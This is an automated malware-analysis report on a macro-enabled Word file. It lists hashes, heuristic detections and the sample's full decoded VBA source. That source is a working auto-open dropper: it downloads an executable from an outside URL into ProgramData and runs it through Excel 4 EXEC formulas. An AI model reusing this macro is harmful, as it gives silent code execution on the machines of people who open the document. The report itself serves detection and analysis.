Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6d0fd78ed58e45b9…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2021-02-17 01:41:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-02-23
MD5: 5ef7c4ef37d7042eb6aaac8d0487ddf3 SHA-1: d8d9edba76fcf83908e2c90cbc898bfc7c8f3b81 SHA-256: 6d0fd78ed58e45b941bf3730632aaa2cc00a92ba8d9d381aa6369e17aba75aa0
190 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub AutoOpen()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Aplikacija = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpegReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpeg�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1538 bytes
SHA-256: 631d349ba24ef10c83a6197fa2f53b361bd8064f3d9079cd6b4c820ba4da3324
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()

Dim Aplikacija As Object
Dim naziv, pravacJedan, pravacDva, pravacTri, finalniPravac As String

Set Aplikacija = CreateObject("Excel.Application")
Set Workbook = Aplikacija.workbooks.Add()
Set Worksheets = Aplikacija.Worksheets

pravacJedan = "C:\"
pravacDva = "ProgramData\"
pravacTri = "image.exe"
finalniPravac = pravacJedan & pravacDva & pravacTri

Aplikacija.DisplayAlerts = False

Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4

On Error Resume Next

Aplikacija.Range("A1").Name = "test"

Aplikacija.Range("A108").Value = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpeg"

URLDownloadToFile 0, Replace(Aplikacija.Range("A108").Value, "jpeg", "exe"), finalniPravac, 0, 0

Aplikacija.Range("A120") = "=WAIT(NOW()+""00:00:5"")"

Aplikacija.Range("A122") = "=EXEC(""" + finalniPravac + """)"

naziv = "test"

Aplikacija.Run (naziv)

Aplikacija.Application.Quit

Set Aplikacija = Nothing

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: c5f6ba9874bac0a14e350b867a77e1e2707622f1b917b7c03b27fe72cf877852